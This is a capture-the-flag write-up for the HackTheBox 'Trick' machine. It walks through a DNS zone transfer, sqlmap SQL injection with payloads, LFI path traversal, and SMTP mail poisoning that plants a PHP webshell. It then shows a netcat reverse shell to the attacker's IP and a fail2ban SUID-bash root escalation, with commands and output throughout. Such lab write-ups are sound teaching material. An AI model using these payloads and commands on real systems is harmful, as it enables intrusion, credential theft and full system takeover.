HackTheBox: Trick Writeup

HackTheBox: Trick Writeup

in

Trick

Summary

Trick is an easy Linux box that chains together several classic web and network techniques. The attack surface starts with DNS - a zone transfer leaks a virtual host running a payroll application. That application is injectable, and sqlmap lets us extract credentials and read arbitrary files from the server. One of those files is the nginx configuration, which reveals a second virtual host with a local file inclusion vulnerability. Combining the LFI with SMTP access, we poison michael’s mail spool to drop a PHP webshell and catch a shell as that user. On the way to root, we find that michael can restart fail2ban as root and that his group has write access to the action configuration directory - so we swap out the ban action to create a SUID copy of bash, trigger a ban by hammering SSH, and walk out as root.

Recon

Nmap

Starting with a service version scan across the common ports:

$ nmap -sCV -p- 10.129.227.180

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp open  smtp?
|_smtp-commands: Couldn't establish connection on port 25
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2

Four ports: SSH on 22, something on 25 that isn’t returning a proper banner yet, DNS on 53, and nginx on 80. Port 53 being open on a web box is always interesting - it’s worth checking whether the DNS server will hand over a zone transfer.

DNS Enumeration

With a running DNS service and the domain name trick.htb (in this case I just guessed, since this a common HTB pattern), a zone transfer is the first thing to try. If the server is misconfigured to allow AXFR requests from any source, we get a full dump of every DNS record in the zone:

$ dig axfr trick.htb @10.129.227.180

; <<>> DiG 9.20.20-1-Debian <<>> axfr trick.htb @10.129.227.180
trick.htb.              604800  IN  SOA   trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb.              604800  IN  NS    trick.htb.
trick.htb.              604800  IN  A     127.0.0.1
trick.htb.              604800  IN  AAAA  ::1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.
trick.htb.              604800  IN  SOA   trick.htb. root.trick.htb. 5 604800 86400 2419200 604800

The server accepts the AXFR request without authentication and returns the full zone. The record that matters is preprod-payroll.trick.htb - a subdomain that wouldn’t have shown up in a normal wordlist fuzz because it’s a CNAME entry rather than an A record pointing somewhere public. Added preprod-payroll.trick.htb to /etc/hosts and browsing over reveals a payroll management login page.

Shell as michael

SQL Injection on the Payroll Login

The login form at http://preprod-payroll.trick.htb/login.php doesn’t accept obvious default credentials. Before going manual, it’s worth pointing sqlmap at the login endpoint to check whether the username parameter is injectable. Using --risk 3 --level 5 expands the test surface beyond the defaults:

$ sqlmap 'http://preprod-payroll.trick.htb/ajax.php?action=login' \
  -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
  -H 'Cookie: PHPSESSID=405fjbepqgq96u7s79a67gm1fe' \
  --data-raw 'username=admin&password=admin' \
  --risk 3 --level 5 --batch --flush-session

<SNIP>
[INFO] POST parameter 'username' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT)' injectable
[INFO] POST parameter 'username' is 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
<SNIP>

Parameter: username (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: username=admin' OR NOT 9291=9291-- hNTO&password=admin

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=admin' OR (SELECT 8917 FROM(SELECT COUNT(*),CONCAT(0x7171717a71,(SELECT (ELT(8917=8917,1))),0x716b7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- tvfq&password=admin

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin' AND (SELECT 3318 FROM (SELECT(SLEEP(5)))TjuV)-- frAx&password=admin

back-end DBMS: MySQL >= 5.0 (MariaDB fork)

Three injection types confirmed: boolean-blind, error-based, and time-based. MariaDB backend. From here we can enumerate the databases:

$ sqlmap 'http://preprod-payroll.trick.htb/ajax.php?action=login' \
  -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
  -H 'Cookie: PHPSESSID=405fjbepqgq96u7s79a67gm1fe' \
  --data-raw 'username=admin&password=admin' --dbs --batch

available databases [2]:
[*] information_schema
[*] payroll_db

There’s a payroll_db. Drilling into it to find the tables:

$ sqlmap ... -D payroll_db --tables --batch

Database: payroll_db
[11 tables]
+---------------------+
| allowances          |
| attendance          |
| deductions          |
| department          |
| employee            |
| employee_allowances |
| employee_deductions |
| payroll             |
| payroll_items       |
| position            |
| users               |
+---------------------+

The users table is the obvious target. Dumping the username and password columns:

$ sqlmap ... -D payroll_db -T users -C username,password --dump --batch

Database: payroll_db
Table: users
[1 entry]
+------------+-----------------------+
| username   | password              |
+------------+-----------------------+
| Enemigosss | [REDACTED]            |
+------------+-----------------------+

One user with a plaintext password. Credentials noted, though the real prize here turns out to be the file read capability that comes with the injection.

Reading Files via SQLi

MariaDB’s LOAD_FILE() function allows reading arbitrary files from the server filesystem when the database user has the FILE privilege. sqlmap exposes this cleanly through --file-read. First, /etc/passwd to map out system users:

$ sqlmap ... --file-read=/etc/passwd --batch

<SNIP>
michael:x:1001:1001::/home/michael:/bin/bash

One interactive user account: michael. Now the nginx configuration to understand what virtual hosts are running:

$ sqlmap ... --file-read=/etc/nginx/sites-enabled/default --batch
$ cat ~/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_nginx_sites-enabled_default

server {
    listen 80 default_server;
    server_name trick.htb;
    root /var/www/html;
    <SNIP>
}

server {
    listen 80;
    server_name preprod-marketing.trick.htb;
    root /var/www/market;
    index index.php;
    <SNIP>
    fastcgi_pass unix:/run/php/php7.3-fpm-michael.sock;
}

server {
    listen 80;
    server_name preprod-payroll.trick.htb;
    root /var/www/payroll;
    index index.php;
    <SNIP>
}

A third virtual host: preprod-marketing.trick.htb. Two things stand out immediately: its web root is at /var/www/market, and crucially, it runs PHP through a socket named after michael - php7.3-fpm-michael.sock - which means PHP processes on that vhost run as michael, not www-data. Adding preprod-marketing.trick.htb to /etc/hosts and navigating over shows a simple marketing site.

Local File Inclusion on preprod-marketing

The URL structure of the marketing site immediately catches the eye:

http://preprod-marketing.trick.htb/index.php?page=contact.html

A page parameter loading file content is textbook LFI territory. Confirming with lfimap:

$ python3 lfimap.py -U 'http://preprod-marketing.trick.htb/index.php?page=contact.html' \
  -t -x --lhost 10.10.14.24 --lport 9000

[+] LFI -> 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd'

The traversal pattern ....// works because a naive blacklist might strip ../ once, leaving ../ behind when the doubled dots collapse. Standard path traversal sanitization bypass. The file is included and its contents rendered.

The LFI alone doesn’t give code execution - the application is including files and rendering them as PHP, but there’s no obvious file upload path. What we do have, though, is a listening SMTP service on port 25.

Mail Poisoning - SMTP to LFI to RCE

The plan: inject a PHP webshell into michael’s mail spool at /var/mail/michael by sending him an email with a PHP payload in the body. Then use the LFI to include that file and trigger execution. Email on Linux systems is stored as plaintext in /var/mail/<username>, so the PHP interpreter will parse the entire file - headers, body, and all - and execute any <?php ... ?> blocks it encounters.

Sending the mail with swaks:

$ swaks --to michael \
    --from attacker@example.com \
    --server 10.129.227.180 \
    --port 25 \
    --data 'Subject: Test

<?php system($_GET["cmd"]); ?>'

=== Connected to 10.129.227.180.
<-  220 debian.localdomain ESMTP Postfix (Debian/GNU)
 -> MAIL FROM:<attacker@example.com>
<-  250 2.1.0 Ok
 -> RCPT TO:<michael>
<-  250 2.1.5 Ok
 -> DATA
<-  354 End data with <CR><LF>.<CR><LF>
<-  250 2.0.0 Ok: queued as AEAAD4099C

The server accepted the delivery without requiring authentication. Verifying the webshell works by requesting a command through the LFI:

http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//....//....//....//....//....//....//var/mail/michael&cmd=ls%20-la
From attacker@example.com  Fri Mar 20 15:30:15 2026
Return-Path: <attacker@example.com>
Received: from DESKTOP-P12DNFQ (unknown [10.10.14.24])
    by debian.localdomain (Postfix) with ESMTP id AEAAD4099C

total 76
drwxr-xr-x 6 michael michael  4096 May 25  2022 .
drwxr-xr-x 5 michael michael  4096 May 25  2022 ..
-rw-r--r-- 1 michael michael 13272 Apr 16  2022 about.html
-rw-r--r-- 1 michael michael  7677 Apr 16  2022 contact.html
<SNIP>

Code execution confirmed. The mail headers are output as junk before the command output, but the PHP interpreter correctly finds and executes the system() call further down in the file. Upgrading to a reverse shell:

http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//....//....//....//....//....//....//var/mail/michael&cmd=nc%2010.10.14.24%20443%20-e%20/bin/bash

With a listener ready:

$ penelope -p 443

[+] [New Reverse Shell] => trick 10.129.227.180 Linux-x86_64 👤 michael(1001)
[+] Upgrading shell to PTY...
[+] PTY upgrade successful via /usr/bin/python3

michael@trick:/var/www/market$ cd /home/michael
michael@trick:~$ cat user.txt
[REDACTED]

Shell as michael, user flag grabbed.

Shell as root

Enumeration

Checking what michael can run as root:

michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart

He can restart the fail2ban service as root without a password. By itself that’s not useful - but it becomes interesting if we can control what fail2ban does when it runs. Checking group membership:

michael@trick:~$ id
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)

The security group is non-standard. Finding what it owns:

michael@trick:~$ find / -xdev -group security -ls 2>/dev/null

269282  4 drwxrwx---  2 root  security  4096 Mar 20 15:45 /etc/fail2ban/action.d

The security group has full write access to /etc/fail2ban/action.d - the directory that holds fail2ban’s action configuration files. The path is clear: modify an action that fires on a ban event to run an arbitrary command as root (fail2ban itself runs as root), restart the service to load the new config, then trigger a ban.

Execution

The iptables-multiport.conf action is typically used for SSH banning. Opening it up and replacing the actionban line with a command to copy /bin/bash to /tmp/rootbash and set the SUID bit on it:

# Option:  actionban
# Notes.:  command executed when banning an IP.
#
actionban = cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash

With the modified action saved, restart fail2ban to load the new configuration:

michael@trick:/etc/fail2ban/action.d$ sudo /etc/init.d/fail2ban restart

Now we need to trigger a ban. fail2ban watches auth logs and bans IPs that exceed the configured failure threshold. Hammering SSH with repeated failed logins from our attacking machine will do it - hydra is the easiest way to generate the volume of failures needed quickly:

$ hydra -l michael -P /opt/SecLists/Passwords/days.txt ssh://10.129.227.180

After a few seconds of failed attempts, fail2ban picks them up, calls the actionban command as root, and /tmp/rootbash appears:

michael@trick:/tmp$ ls -la rootbash
-rwsr-xr-x  1 root  root  1168776 Mar 20 17:32 rootbash

The SUID bit is set and the owner is root. Using bash -p (preserve privileges) to launch a shell that keeps the effective UID from the SUID:

michael@trick:/tmp$ ./rootbash -p

rootbash-5.0# id
uid=1001(michael) gid=1001(michael) euid=0(root) groups=1001(michael),1002(security)

rootbash-5.0# cat /root/root.txt
[REDACTED]